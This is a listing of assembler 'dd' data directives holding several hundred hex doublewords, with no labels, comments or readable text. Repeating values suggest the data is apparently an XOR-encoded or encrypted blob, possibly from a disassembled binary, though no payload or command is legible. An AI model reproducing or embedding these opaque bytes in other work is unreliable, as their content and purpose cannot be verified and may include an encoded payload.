		dd 7AA2EAB1h, 1EE5F3ADh, 532064D4h, 3A0E34Eh, 52436195h
		dd 0ED9406DBh, 3D1C3B66h, 53EBD187h, 8A470E25h,	35FCFA8Ah
		dd 10156611h, 0EBA21527h, 87EA8CD7h, 35C46E13h,	321569F8h
		dd 6782C588h, 0A37129E4h, 0D6B6171Ch, 2A079146h, 94FFE305h
		dd 0BE1A6190h, 3215662Ah, 3217E11Eh, 53756688h,	3EFCB6BBh
		dd 43156622h, 0B4F4F9FBh, 97ED6FA5h, 52A6218Eh,	3215E22Dh
		dd 63756611h, 0C09400D7h, 5374029Ch, 27A0E3ABh,	37FC61C0h
		dd 20156688h, 44105C5Fh, 1D18E3E5h, 321561C0h, 0B51A6688h
		dd 3215664Fh, 0E0A26942h, 3215E61Eh, 0C7746688h, 3A0E382h
		dd 0C75061F3h, 407C0F79h, 32128F06h, 0C8566644h, 956B4181h
		dd 0FBA09911h, 3D12B794h, 321567C5h, 3CFC9322h,	0F8156611h
		dd 5CF8E54Bh, 4D7EFA4Fh, 0BB0A7FD6h, 3390EB25h,	3D12B7B3h
		dd 321561CFh, 33946922h, 0C7156611h, 8975B677h,	4B221878h
		dd 6390EF43h, 0DB12B719h, 32156684h, 0D496C01Fh, 21E33E20h
		dd 2EC14E5Ah, 4CF6E7E8h, 0B26FB175h, 0F474A7CCh, 0E324D394h
		dd 0BC1A258Fh, 32156645h, 594B0EDAh, 20FCFA76h,	40156688h
		dd 621BBB05h, 2D85D2A3h, 0D72740F7h, 59F3DC0Ch,	0FBA0996Dh
		dd 0CA12B73Eh, 914E39Ch, 0DB756159h, 3215664Fh,	90DB3F58h
		dd 2720CF23h, 0B9A89C55h, 0E2EA0785h, 0FC9E0042h, 3213E41Eh
		dd 0C0946688h, 37395649h, 4090EF43h, 5212BF38h,	851A3FD8h
		dd 0B7D307BCh, 35C45797h, 3E9C6945h, 3D156688h,	321560C4h
		dd 329D6922h, 5A156611h, 0DC770EA1h, 3DC8EC24h,	0CD74B595h
		dd 0E309AFA4h, 0B7989E8Fh, 35C45D45h, 0C19E0042h, 0E5DAE777h
		dd 0E2EA07F1h, 8D1A06BDh, 534E37D2h, 1B63E398h,	3FFC6151h
		dd 0B156644h, 0E4BE00FAh, 0E8660230h, 7D2ABD27h, 3A0E382h
		dd 0DB5061F3h, 32156602h, 187C6E1Ah, 9F250975h,	20430DD7h
		dd 47D0D770h, 5A320ACAh, 0E8755E86h, 359C69DBh,	3D156611h
		dd 32156705h, 87EA9E44h, 35C47AEBh, 2F2DD871h, 0FE95066Dh
		dd 0B79807DBh, 35C45D23h, 321568F8h, 20E41B88h,	1E165506h
		dd 12938CCCh, 0CA738315h, 3DFCB677h, 15156644h,	0E546DD1Dh
		dd 6134F93Bh, 0B1AF2D9Dh, 0B79C861Eh, 35CC4F58h, 27A8E5E9h
		dd 3212B79Fh, 333AE34Bh, 0B61A6622h, 32156610h,	8790A070h
		dd 7712B775h, 99D3E742h, 54250D2Eh, 53226630h, 126BE02Ch
		dd 0B31A06D8h, 32156614h, 6FDFE7EEh, 87EA0768h,	35C47AEBh
		dd 32156AF8h, 9C61F988h, 8A90230Fh, 0B55EE6F4h,	3390EBE2h
		dd 3D12B7B3h, 321577C4h, 399D6922h, 0DB156611h,	3215668Eh
		dd 8D751031h, 0CDE959AAh, 0B41A06C1h, 3215668Ch, 0F0D7D922h
		dd 32156ACBh, 4A092D11h, 0FC0A4E04h, 9BEAF98Ch,	0B79C07BAh
		dd 35CC4F6Fh, 3214EE87h, 0F4E06644h, 0E324D3A7h, 38FC2A16h
		dd 9E156688h, 0FFC131BFh, 12FE777Fh, 0E2D60EE2h, 3AFC86AEh
		dd 5A156644h, 69033D75h, 52654ED6h, 5CFCE7EEh, 0CD74938Dh
		dd 0E309AF97h, 0B81A0616h, 3215668Eh, 3215E84Bh, 7BA76622h
		dd 3390EB70h, 0DB12B7B3h, 32156655h, 0B7C109B7h, 131CA240h
		dd 6B89879Dh, 0CB2DC68Ch, 0DBC59910h, 3215661Fh, 0DAF3DF97h
		dd 2B497417h, 630CB815h, 0B79C0061h, 35CC4F0Ah,	321A8F24h
		dd 0CEF16622h, 0BD4EB838h, 7B5ED486h, 1E279133h, 309169ADh
		dd 52156611h, 0DBED07E9h, 321566AAh, 8790A0DBh,	6012B720h
		dd 3214EF87h, 5AEC6644h, 8E5F822Fh, 86D4E771h, 5429594Ah
		dd 53C481FEh, 2304D3DDh, 0B61A61C0h, 32156680h,	3217ED4Bh
		dd 53756622h, 914E39Ch,	3BFC6159h, 8E156644h, 0C6D4DE04h
		dd 0B93D6EDAh, 32156A61h, 0A9233044h, 0BC3352Eh, 0DBD3EBFFh
		dd 0DBC59972h, 32156643h, 6B39029Eh, 0BB915CA9h, 0EB3C180Dh
		dd 3E936943h, 3D156622h, 32156094h, 329C6988h, 0F4156644h
		dd 0E324D3A7h, 52753416h, 0F5953CDFh, 0BD1A07F6h, 32156624h
		dd 0F5388490h, 5A744C47h, 94592C0Ch, 87EA9FD7h,	35C47700h
		dd 321CE487h, 54756644h, 54811F9Ch, 0BF749D9Ah,	0E32E670Dh
		dd 32138F43h, 0EE26622h, 0DD03E1A9h, 5275B677h,	223405FBh
		dd 1BAF006Dh, 3EAD0794h, 534D5BBDh, 1B97E3CDh, 0B11A61FBh
		dd 32156617h, 0B9DDEDE8h, 0B7D30785h, 35C45797h, 89730643h
		dd 3D744068h, 321561CDh, 339C6922h, 0CE156611h,	70A18CE0h
		dd 32128FB9h, 645B6622h, 60D9AF6Eh, 0FBA099BFh,	0DB12B758h
		dd 32156636h, 9DE69FBAh, 0C547EA12h, 0B84355E3h, 0FDCCAD11h
		dd 5DA93D24h, 914E305h,	89756195h, 196ABEEAh, 52C59970h
		dd 0E1FCE774h, 5371E65Dh, 182CE3ABh, 0F4E061C0h, 0E324D30Dh
		dd 5AE91143h, 0C182CE81h, 32108E71h, 710C6688h,	86D7D22Fh
		dd 0CD743CA8h, 0E3259FA4h, 2496698Fh, 0DB156644h, 32156633h
		dd 0D2FB3F7h, 4162F35Ch, 6EA396DBh, 79C7A4BFh, 3390EB38h
		dd 0DB12B7B3h, 32156641h, 7BFD6A40h, 0DBC599D7h, 32156680h
		dd 1AA5A41Fh, 5BC20E61h, 3214E61Eh, 0BBED6688h,	0E3083BC1h
		dd 2B906925h, 0DB156611h, 3215669Ch, 0B75FAF41h, 0B83A9C15h
		dd 0D6DCA133h, 30EB9DDh, 9745A4Ah, 3A0E3E4h, 0CA4761C0h
		dd 32157761h, 6B2E8A44h, 0ED1B340Fh, 4792CB0Bh,	0A8180384h
		dd 257D7826h, 3D9FBB13h, 3215769Ch, 38956988h, 0DB156644h
		dd 32156627h, 8232B394h, 0FBA0998Fh, 0DB12B758h, 32156633h
		dd 0AC635DA2h, 0D07A359Bh, 52826EF4h, 0CECB76B4h, 3390EB7Ah
		dd 3D12B7B3h, 321567CEh, 0CDE09A22h, 0B79C9FC1h, 35C4407Dh
		dd 8790A0BDh, 6412B713h, 32018F71h, 0D9B26688h,	613A1F2Ah
		dd 1F8B8E69h, 38267D00h, 729402B7h, 3D7424E1h, 321563A0h
		dd 52ED0611h, 0B7D07E9h, 0DBC17929h, 32156624h,	4E2BE49Fh
		dd 87EADD10h, 35C46E75h, 321C8FDAh, 0A66D6611h,	90DD1DFDh
		dd 0BFA6AF18h, 0E6B38CA7h, 32048F16h, 799E6688h, 1D77C3E4h
		dd 0EE358860h, 2EE27760h, 0CDE1EAECh, 34FC0694h, 9C156622h
		dd 0B8D558EFh, 0B79C0775h, 35C4541Dh, 41E7E642h, 321575F8h
		dd 74147288h, 8E77A6E2h, 266DB206h, 0B3EE70AAh,	0DC942CA5h
		dd 22956925h, 0DB156622h, 3215661Ah, 5340481Fh,	852EB456h
		dd 0F4162593h, 0E324D394h, 0B61A218Fh, 32156652h, 321577CBh
		dd 0BBD2211h
		dd 5EDD9370h, 0E27C38A1h, 4D4E48E7h, 487DA775h,	5294BA98h
		dd 0AE1D922h, 0CDE007DAh, 0E309AFA4h, 321C8F8Fh, 9BE26644h
		dd 0AE6C5B62h, 0BFABAF20h, 0E32E670Dh, 321E8F43h, 0E64A6622h
		dd 1044DD64h, 6B390234h, 0CEC599FCh, 3D5CE3ABh,	35FC61C0h
		dd 5D156688h, 0BF37AEBFh, 0B7D34870h, 35C457A4h, 3E9C69CFh
		dd 52156644h, 0CBAA2798h, 0F5940056h, 5A74CF73h, 0B81AD3A6h
		dd 32188F42h, 78036611h, 0B601E554h, 0B595A44Fh, 3DBCB5CCh
		dd 3D749CA6h, 32157507h, 321B8F44h, 17AE6622h, 0C2FC6AA8h
		dd 560CE98h, 7CB1C3AEh,	2EDCD3DDh, 35FC61C0h, 20156688h
		dd 5B6903D1h, 0B7984A54h, 35C45D10h, 3214EE87h,	3DED6644h
		dd 321572ABh, 3C9A6911h, 0DB156688h, 3215664Dh,	28A91E8Eh
		dd 0C8858FFDh, 3DC5997Ah, 32156BC1h, 321D8F22h,	0C6406611h
		dd 0E56F9A37h, 0B79C1A0Fh, 35CC4F80h, 321F8F71h, 0E9CA6688h
		dd 9D8EC18Bh, 0B4E090F0h, 0BA8ADF77h, 3F90A1E9h, 4A12B762h
		dd 0DB156622h, 3215661Fh, 0B6B14DB2h, 6888025Fh, 0C4F2E358h
		dd 8F96DAA1h, 35C4555Dh, 12916944h, 0DB15663Ah,	3215661Ah
		dd 0D4A74D20h, 97DA2FD7h, 0F494E555h, 0E324D394h, 80752A8Fh
		dd 0FD9400CDh, 5A743C74h, 0EBCF7AF8h, 32198FE8h, 489A6644h
		dd 8AC93FBAh, 0FDAA1B36h, 3D75F4B3h, 0E8949EFBh, 7ECB4A51h
		dd 87EA0770h, 35C47A41h, 3212E64Bh, 0B31A6622h,	32156610h
		dd 3390EB74h, 0C712B77Fh, 32138E42h, 0BFDA6611h, 678C9E95h
		dd 0E95A8DC5h, 534E4B94h, 37FCB6EEh, 0C156688h,	5B6D8996h
		dd 88F3EC42h, 6C483334h, 0BC90EFE9h, 5212BF6Dh,	3D46E694h
		dd 32156699h, 0F4743E88h, 0E324D3C1h, 5AE92A25h, 0EF61B8DFh
		dd 321FED87h, 37FC6644h, 0F7156622h, 6183D36Fh,	2EDCD377h
		dd 0BF1A6195h, 32156623h, 3390EBEDh, 0DB12B7B3h, 32156648h
		dd 9BD0BB4Ch, 0F06E9117h, 7A087B18h, 32966924h,	0B3156622h
		dd 4976C3FAh, 0E2EA07C4h, 3213E84Bh, 54756622h,	535345A8h
		dd 1B87E301h, 0B11A619Dh, 3215662Dh, 32156CF8h,	746C0188h
		dd 4621882Ah, 0F4B7FE4Fh, 0E324D394h, 3D752A8Fh, 321564C0h
		dd 5436D722h, 5A74919Ah, 8594E4B7h, 321569ADh, 0AE8E8022h
		dd 1F070CCAh, 14CE3E95h, 104B5A19h, 321572CBh, 0D1C05F11h
		dd 46833AC9h, 968AE113h, 999050DAh, 215D9DFEh, 0FBA099DDh
		dd 5212B758h, 54C2ED44h, 534F24ABh, 914E305h, 23FC6195h
		dd 5156622h, 93938BDAh,	21F820CEh, 7CBAA12Ch, 9F2E864Bh
		dd 0BBE0B6EEh, 0EB3CF00Dh, 38946943h, 0DB156622h, 32156614h
		dd 47CFF740h, 8790A0A5h, 7E12B713h, 3DD7D271h, 3D74A93Fh
		dd 321562CCh, 0CEE00622h, 720D0E70h, 0CDECD5A7h, 0E309AFF1h
		dd 0B7989F25h, 35C45D10h, 32156961h, 0E0B74844h, 9F824DC9h
		dd 3944A4D3h, 0E1449C31h, 0B71AB6BBh, 3215662Fh, 0D4940071h
		dd 0C394C869h, 24F7D608h, 0A490EF43h, 0DB12BF38h, 3215669Bh
		dd 0AAAB6A7h, 0B0F6E6DCh, 0CFBFC210h, 0C187AD1Eh, 0F401D65Ah
		dd 0E324D3A7h, 5AED2016h, 88CB609Ch, 3202E64Bh,	0DB756622h
		dd 32156601h, 0AE833244h, 0E741C740h, 1452A132h, 50E1D490h
		dd 0FBA099E9h, 5212B758h, 0B84F3042h, 0B34707E0h, 178D566Ah
		dd 0DB743E5Fh, 3215662Bh, 7FBB7878h, 3C8BCDE6h,	3390EB97h
		dd 3D12B719h, 32156E93h, 0B3730688h, 0CE7BC5B4h, 0DBC59943h
		dd 32156617h, 61BDE84Fh, 0B79CF496h, 35CC4FBCh,	5201D671h
		dd 83EED187h, 0F4740702h, 0E324D3A7h, 5AE92116h, 0B3C976F2h
		dd 0FBA099BDh, 0CB12B73Eh, 32156AF8h, 792C0B88h, 409D1A8Ah
		dd 0E17F044Ch, 3390EB34h, 5212B7B3h, 0F4E4E722h, 321B8F33h
		dd 0A24E6611h, 0C4ACE994h, 1A17F0C6h, 0D6782E07h, 0E2EA9F70h
		dd 320CE587h, 26FC6644h, 66156622h, 30B3CEDAh, 771FF710h
		dd 18D947AAh, 0E164A804h, 0BB20B5EBh, 0EB3CC00Dh, 321B8F43h
		dd 0DF886622h, 907C9609h, 772D73Bh, 0A8B899C7h,	3A0E3E4h
		dd 0CA5261C0h, 32157461h, 26E5CB44h, 479BEC51h,	0F3A73A2Ch
		dd 35EFB9A6h, 5AB5A35Eh, 0DD92E88Eh, 32198F71h,	8FA26688h
		dd 0C8F6DEECh, 2FC66461h, 0CD74DD7Fh, 0E309AF3Dh, 0B7989A43h
		dd 35C45D23h, 3DC599EDh, 32157A05h, 24916944h, 0DB156622h
		dd 32156600h, 0B75AC18Bh, 13D9C03Eh, 2D7CA1A0h,	0BD9E8608h
		dd 9890EF36h, 5212BF6Dh, 32156FCBh, 274FE011h, 0ABD99844h
		dd 8B736235h, 0CE743B7Eh, 3A0E3D7h, 3D526159h, 321573C7h
		dd 32058F22h, 0B7CB6611h, 0C53CD1CBh, 5CC88760h, 6114AD59h
		dd 0E07D57E4h, 0DBC1FC2Fh, 32156641h, 8FAEB7D2h, 0FBA09915h
		dd 0CB12B794h, 914E3C9h, 547561F3h, 777DA990h, 53EAD987h
		dd 3DC599BDh, 32156EACh, 30996911h, 52156688h, 9C90EF25h
		dd 0CE12BF0Bh, 3214ED1Eh, 0F4EC6688h, 0E324D3C1h, 5AE92125h
		dd 88D45F15h, 0B3D4EDE8h, 0F5D622A6h, 87EA074Bh, 35C47AD8h
		dd 3390EB71h, 0CA12B77Fh, 8D75B6DDh, 6D4F4FD6h,	0BBE90774h
		dd 0EB3CD4C1h, 0CC9F0625h, 0CE3D75AFh, 8F9607DEh, 35C478A1h
		dd 9C906922h, 3D156611h, 32156107h, 33916944h, 0CA156622h
		dd 3A0E3D7h, 52526159h,	3DF7E722h, 0CB749FEFh, 40380179h
		dd 219E6968h, 0DB156644h, 3215662Ch, 0FBC7EECDh, 80C3FC91h
		dd 988892A7h, 87EA51DEh, 35C47AD8h, 309869E8h, 61156644h
		dd 321E8E7Dh, 50CA6611h, 3B840F79h, 7B8FBC50h, 534F9A22h
		dd 914E39Ch, 89756159h,	74E61733h, 0DECCDF44h, 52C59970h
		dd 32058E7Dh, 0A16B6644h, 73390A63h, 5684AC46h,	9C360F2Bh
		dd 3CFC5FFCh, 0D156622h, 0B2F58E3Ch, 5797F9FDh,	0C48BC527h
		dd 0C7743E2Bh, 1BA3E398h, 3D756151h, 0F194BFFBh, 56C14D8h
		dd 8790A070h, 7512B7B9h, 321568ADh, 59E5CC22h, 0CEC9DB52h
		dd 0E4111DE9h, 52F540B0h, 81A40E43h, 0BF1AE838h, 32156680h
		dd 0F45ADF24h, 53ED4AF2h, 3208E01Eh, 0DA756688h, 32156657h
		dd 0FE2B34DFh, 88A97E48h, 0D91EE66h, 0CF2C717Ah, 6B180401h
		dd 0CD740771h, 0E309AF3Dh, 38FC0643h, 0E156622h, 0E61A5E37h
		dd 75AA23EDh, 32138FAAh, 9D5A6622h, 68E53597h, 3390EBE9h
		dd 3D12B77Fh, 32156EA5h, 30976911h, 52156688h, 3DC59925h
		dd 32156AA1h, 32128F11h, 0E3E6688h, 8A534DA8h, 8890EFC3h
		dd 3D12BF38h, 32156E03h, 0B81A0644h, 32156622h,	0B51A0670h
		dd 3215668Eh, 746AB1C5h, 0BDAD085Ch, 5331E01Bh,	3A0E34Eh
		dd 0DB566195h, 3215662Ch, 6FB0857h, 908D0BFCh, 0F1C4CE48h
		dd 957D0A72h, 0CAD5105Bh, 2EDCD377h, 0BD1A6195h, 3215662Fh
		dd 0CE89DC71h, 0BE1A743Bh, 32156644h, 0B7989A43h, 35C45D10h
		dd 0C7C5997Dh, 1BABE3CDh, 21FC61FBh, 0F2156611h, 9314AFE2h
		dd 10CC62Bh, 0F9159922h, 32382145h, 3DFC9CA1h, 2C156644h
		dd 275D5BEBh, 71E87F63h, 0B19D6567h, 0B7D333A4h, 35C45797h
		dd 199695Dh, 52156688h,	321574ADh, 0E27BF622h, 0AFB7DD81h
		dd 32D42AB0h, 31AB3439h, 0DA04396Bh, 32156605h,	0CA2E8B76h
		dd 5D6536D3h, 154C831Bh, 0F05C9A95h, 60EDB64Eh,	0D97D071Bh
		dd 0CEEE004Eh, 2ECD3EEh, 0BFE06159h, 0E32E67C1h, 321B8F25h
		dd 0AE9F6611h, 0BD170130h, 34E9ED8Bh, 1742348Eh, 3CFCB6EEh
		dd 156688h, 3392DFEAh, 262CEAD5h, 486B56DBh, 6090EF69h
		dd 0DB12BF6Eh, 3215662Ch, 8ADDA7D5h, 2274058Bh,	0EEE172B7h
		dd 0B7D38FA7h, 35C457A4h
		dd 32128FCCh, 68056644h, 843D4B5Dh, 0BC400E15h,	0B275DDFBh
		dd 54759394h, 0C3AE9CA9h, 5304630Ch, 0FBA099E9h, 0CB12B758h
		dd 914E3AFh, 0CDE961C0h, 23956958h, 3D156644h, 32156DA7h
		dd 32138F11h, 0AD516688h, 50C0B81Fh, 1BD7E3ABh,	0F4E961C8h
		dd 0E324D30Dh, 0B01A2543h, 32156623h, 5CE90EE4h, 23FCDA06h
		dd 3E156644h, 87353B60h, 659AFC89h, 0E319E7F0h,	6B56019Bh
		dd 2EDCD3DDh, 23FC61C0h, 1D156688h, 4E97D38h, 9726EA93h
		dd 1FFBFF42h, 0AC8FB7A9h, 32138F24h, 0A4276622h, 854BADE3h
		dd 0B798077Dh, 35C45D45h, 3212E72Dh, 0BF1A6611h, 32156689h
		dd 0DBC599B1h, 32156636h, 0DEB2AC94h, 82C5286Ch, 0DE7E5DB2h
		dd 0ADF4304Ah, 6520454Fh, 321DE087h, 0B41A6644h, 32156620h
		dd 0B79C0771h, 35CC4F4Eh, 320CED4Bh, 26FC6622h,	0B1156611h
		dd 507CD601h, 0EE0667CFh, 82F000D8h, 6DC98024h,	0F4910F42h
		dd 0E324D3C1h, 3BFC3525h, 92156611h, 0B3B1B0BCh, 0E136AC4h
		dd 32156ECBh, 0F23EC011h, 597B6BF9h, 0CBF0E35h,	0CDEDA032h
		dd 0E309AFA4h, 0B7989F8Fh, 35C45D45h, 52C599DAh, 8F65AD90h
		dd 3BFC063Ch, 28156644h, 9EBC1D56h, 0DAB302Eh, 0B79C9EE9h
		dd 35CC4F8Eh, 321568CBh, 38EA711h, 80311406h, 7F3FDB5Dh
		dd 0B10C3C10h, 0E30593ACh, 0B61A668Fh, 3215655Ch, 0E3A26942h
		dd 8790A070h, 7412B7B9h, 39966924h, 0DA156622h,	32156614h
		dd 6202E9D2h, 37FD38B4h, 1B156622h, 0A06D146Bh,	56B2BD09h
		dd 534D4F6Bh, 0A4DB574Ah, 259269EBh, 3D156688h,	321577CEh
		dd 32198F22h, 0F5876611h, 1B3D80F1h, 64C87FD6h,	0BC1A5A2Eh
		dd 3215661Bh, 3D7406E8h, 321566C1h, 87EA0722h, 35C47AD8h
		dd 309269E8h, 52156644h, 31926943h, 3D156611h, 5274B53Fh
		dd 0BF74A5CFh, 0E32E67A7h, 0E2EA9E16h, 0F09E00E8h, 6C7FFAFBh
		dd 0B79C070Ah, 35CC4C37h, 851A30E8h, 0B9733DB2h, 0B7D307F5h
		dd 35C457A4h, 339A69CEh, 0CE156644h, 3204E72Dh,	0B11A6611h
		dd 32156683h, 321560ADh, 0B4419A22h, 5A546EEBh,	0CEB25C5Eh
		dd 0FBA099B8h, 0CE12B73Eh, 31946971h, 3D156688h, 0BF74B7FBh
		dd 0E32E67A7h, 339F6916h, 0C7156688h, 34FCB6BBh, 0D4156622h
		dd 44A2FC21h, 490EFBAh,	5212BF6Eh, 3217E62Dh, 0F89F6611h
		dd 0F474F238h, 0E324D3C1h, 3D752025h, 3215609Bh, 329B6988h
		dd 52156644h, 3215E62Dh, 3BFC6611h, 0EB156688h,	0E8996416h
		dd 0DEA5A080h, 327D0770h, 0CA879A2Ch, 2EDCD3BBh, 8B7561F3h
		dd 14B54C86h, 91C4E7EEh, 0B7980740h, 35C45D23h,	359869EDh
		dd 3D156688h, 321567CDh, 0E2EA9322h, 321569F8h,	65997388h
		dd 0E906E02Bh, 5CC58AB1h, 0E8A3A001h, 182FE301h, 0F4E0619Dh
		dd 0E324D3A7h, 5AE92016h, 0C4C129E2h, 0FBA099B8h, 5212B73Eh
		dd 0F995B79Ah, 0B79807CCh, 35C45D45h, 3219E82Dh, 0BB1A6611h
		dd 3215668Eh, 3215EC4Bh, 0E2EA6622h, 321DE61Eh,	0B61A6688h
		dd 32156646h, 0B79C0742h, 35CC4C2Fh, 8790A071h,	7412B775h
		dd 3214EA2Dh, 3DEC6611h, 32157B07h, 21FC0644h, 23156622h
		dd 0E2DD0FB7h, 0AD51F722h, 50C0B81Fh, 403154DDh, 0D995C9E3h
		dd 0D57D0792h, 3D81AB14h, 321567AEh, 87EA9A11h,	35C47A41h
		dd 3390EBB1h, 5212B719h, 321575F8h, 0AB415388h,	653BEF2Dh
		dd 728509B3h, 69A798CBh, 0B95FC96Bh, 3DC59925h,	321561A4h
		dd 33966911h, 0CB156688h, 0E9D0E624h, 58B3B09Dh, 0B79C0736h
		dd 35CC4CA2h, 3214EA4Bh, 0F4ED6622h, 0E324D394h, 37FC208Fh
		dd 0E9156644h, 0DA5A12ACh, 10615D79h, 0B9730639h, 87EA07B3h
		dd 35C47AEBh, 3390EBE9h, 3D12B7B3h, 321567C1h, 0E2EA9A22h
		dd 0EB940071h, 0B373D4EFh, 538EFA8Dh, 183BE3ABh, 547561C8h
		dd 0B24F3B36h, 0F47400A7h, 0E324D3A7h, 38FC2016h, 0F6156688h
		dd 6E736549h, 6A07510Fh, 0D8F80E77h, 0BD1AB9F1h, 32156648h
		dd 3213E82Dh, 0BC1A6611h, 32156688h, 2EDCD3BBh,	0DB7561F3h
		dd 3215661Ah, 50424FDFh, 6A5082BDh, 549B6851h, 0BF74AD9Ah
		dd 0E32E670Dh, 32128F43h, 0AB8A6622h, 6CD4A443h, 0CEC59925h
		dd 1827E3CDh, 23FC61FBh, 96156611h, 473C235Fh, 2D55DDBAh
		dd 0C9C1A3B4h, 0D675F3EEh, 2CF0DB0Bh, 3D156195h, 3215E0A7h
		dd 3C966911h, 52156688h, 0C36A85C5h, 0D19476EEh, 102FCE2Dh
		dd 0B37306E9h, 5412C1ADh, 0AAF2A8A3h, 8790A070h, 6112B7B9h
		dd 321A8F24h, 0A8E16622h, 6696FAF2h, 27C25277h,	0A1FD483h
		dd 67AB0041h, 6C7D0775h, 0CBDBD868h, 32156DADh,	0AB7F5622h
		dd 0E8DE3826h, 9CCA641Fh, 2EDCD3BBh, 887561F3h,	4BA972A1h
		dd 3390EBE9h, 0C712B77Fh, 5475B6DDh, 0BB74B59Ah, 0EB3CA80Dh
		dd 321C8F43h, 74AF6622h, 91B1CE78h, 0F4E46DA1h,	0E324D3C1h
		dd 5AE02125h, 0F5A43896h, 32157561h, 5937D44h, 8E9FAF67h
		dd 0BCB2AA9Dh, 0D98DEAC0h, 71527CFDh, 2EDCD3DDh, 3CFC61C0h
		dd 0F5156688h, 0B37B2582h, 0F562FF08h, 5C54E355h, 3390EB7Fh
		dd 0CA12B77Fh, 0B91AB6DDh, 32156610h, 0E090EF70h, 5212BF6Dh
		dd 321B8F42h, 0BF416611h, 86BFA34Ch, 3F74F0A7h,	0ABD431FCh
		dd 53740771h, 32157661h, 3D372444h, 8526509Ch, 92F5AE08h
		dd 0E884AE68h, 0D7A8E531h, 3212B73Ch, 32B4E31Eh, 0F4EC6688h
		dd 0E324D3C1h, 5AEC2125h, 0D4771814h, 0F49E00E8h, 0FA940625h
		dd 43533F27h, 321A8E43h, 7B9C6688h, 0B746CD1h, 88979475h
		dd 4917BD65h, 534B3FA7h, 2EDCD3BBh, 0B41A61F3h,	32156605h
		dd 32156961h, 1E04E244h, 99C38356h, 9F3C4B37h, 3E5B0E1Ch
		dd 3212ED4Bh, 0BC1A6622h, 32156610h, 3390EB74h,	0DB12B77Fh
		dd 32156627h, 1DA150C8h, 52C599ACh, 3DE5ED22h, 32156BA2h
		dd 321D8F11h, 30AC6688h, 231DCCE5h, 0BB74B2CAh,	0EB3CB094h
		dd 32188F8Fh, 17816644h, 972EFEDEh, 2246C07Ah, 0F48F167Dh
		dd 0E324D3C1h, 0BC1A2525h, 3215661Eh, 32138FE8h, 95CA6644h
		dd 1D6C08C9h, 5A743841h, 0A06F6F7Eh, 0FA9E0024h, 5AE7E744h
		dd 87EA07B1h, 35C47A41h, 32068F24h, 5CB56622h, 0D7523A31h
		dd 974A1B0Fh, 503A6483h, 0B511EC83h, 0EDA26973h, 3390EBE9h
		dd 5212B77Fh, 0C1AA6942h, 8D1A07EDh, 0E2EA0752h, 321569ADh
		dd 46472522h, 0E49025A2h, 67EC9303h, 0A5D6D856h, 1BCFE3ABh
		dd 0B87561C8h, 53D0EC46h, 8790A0B1h, 7112B713h,	0A5350EE4h
		dd 52E99AA9h, 3FF4E722h, 62F4E672h, 0FBA09970h,	0DB12B794h
		dd 32156648h, 0CBCF6B07h, 50A789BDh, 8BC27CEh, 914E3C9h
		dd 0BA1A61F3h, 32156604h, 0CB9E00E8h, 32156CACh, 0AD1EB922h
		dd 39227AC9h, 68C4E73Fh, 52C59925h, 3210E02Dh, 9DAB6611h
		dd 0CE051B16h, 0EC90EF25h, 3D12BF0Bh, 32157F9Eh, 21946988h
		dd 0DB156644h, 3215662Ch, 4E01BDA7h, 0B32BC786h, 81BD88DEh
		dd 0B11AAE15h, 32156606h, 32157461h, 0EA89CC44h, 0E0CFBAD1h
		dd 5EB1F522h, 0D8A20889h, 0B19C1461h, 0E30B839Fh, 0B71A6616h
		dd 32156665h, 8790A0B8h, 7112B713h, 3F966971h, 0DA156688h
		dd 32156643h, 84C4A3B7h, 6C557852h, 5A74513Ah, 0B915CE47h
		dd 321560CBh, 450DCC11h, 0CDDC9474h, 0E309AFF1h, 0B7989A25h
		dd 35C45D10h, 0DEAF00E8h, 3DFEE610h, 3DC59943h,	3215639Bh
		dd 4A30688h, 0B11A07B8h, 32156632h, 0DBFEEC71h,	3215668Fh
		dd 3B067A10h, 53D4F674h, 1BF3E398h, 0F4E96151h,	0E324D3C1h
		dd 3D752525h, 32156697h
		dd 0FC940088h, 5A743D1Bh, 0D74E50F7h, 3214E71Eh, 0CDEC6688h
		dd 0E309AFF1h, 32188F25h, 0E9426611h, 5357CE4Fh, 0F1316F45h
		dd 0BF1B3657h, 0E32E6794h, 3AFC068Fh, 72156644h, 246BD255h
		dd 54D094D1h, 0CD749703h, 0DBE90694h, 32156627h, 7C2D4989h
		dd 0B79C0754h, 35CC4FA6h, 321572CBh, 0D69DA811h, 8E826292h
		dd 0AACE9C4Fh, 0F50D7CF2h, 0C024F10Eh, 8790A064h, 7112B775h
		dd 321AEC2Dh, 38FC6611h, 0E7156688h, 1FA43F23h,	9BEED858h
		dd 0F40E3Dh, 0BC1A8C22h, 32156645h, 0FBA099D7h,	0DB12B70Dh
		dd 3215669Bh, 2B95725Bh, 5ABD6B71h, 0D8E1DC13h,	0E83318CCh
		dd 0BF271420h, 0E32E67A7h, 35946916h, 52156688h, 60E4D14Bh
		dd 0E2EA077Bh, 321561F8h, 484DE088h, 0EFB4B97Fh, 1BFFE3ABh
		dd 3D7561C8h, 3215630Ch, 0ED940044h, 44AD2CD1h,	533CC8C4h
		dd 3A0E34Eh, 3D566195h,	321561A0h, 6EA30611h, 5346AA08h
		dd 0C3B9512Ch, 35FC06A6h, 18156611h, 0F49C57D4h, 0B373DDE9h
		dd 53AFB4C5h, 2EDCD3EEh, 52ED6159h, 53D7EDBCh, 914E3AFh
		dd 617561C0h, 0B84C07E8h, 0CDEC07ABh, 321C8FF2h, 3D546611h
		dd 0B4D3066Fh, 0BB3B70B0h, 0EB3C88A7h, 0B7D39316h, 35C4573Dh
		dd 0E67D9A0Bh, 528253B2h, 321B8F71h, 361B6688h,	11A3177Fh
		dd 7CC124EFh, 87C61CD1h, 3215E787h, 53746644h, 2EDCD3DDh
		dd 3EFC61C0h, 58156688h, 0ACAD1BB2h, 571CB65Fh,	0BF5050A9h
		dd 0E32E670Dh, 3E956943h, 3D156622h, 32156090h,	32946988h
		dd 0CD156644h, 321F8FF2h, 5CD96611h, 220B351Ch,	1B36D452h
		dd 1BE7E3ABh, 3D7561C8h, 0B3739037h, 53B53D82h,	3A0E3E4h
		dd 525A61C0h, 0B3FBE7EEh, 0E39E00D7h, 307D9E43h, 3DEC081Fh
		dd 32156E01h, 30986944h, 52156622h, 0FBA09970h,	3D12B794h
		dd 32156ECCh, 309D6922h, 52156611h, 3390EBE9h, 0DB12B77Fh
		dd 32156630h, 77F7A41Ch, 9129D6FEh, 785E63C5h, 0B87B0CDDh
		dd 0E2EAA92Ah, 32157761h, 0DE228144h, 0B9D8FB6h, 0FCB3FA09h
		dd 0B290FB79h, 0B79CBF24h, 35CC4FD4h, 8790A0E4h, 7F12B7B9h
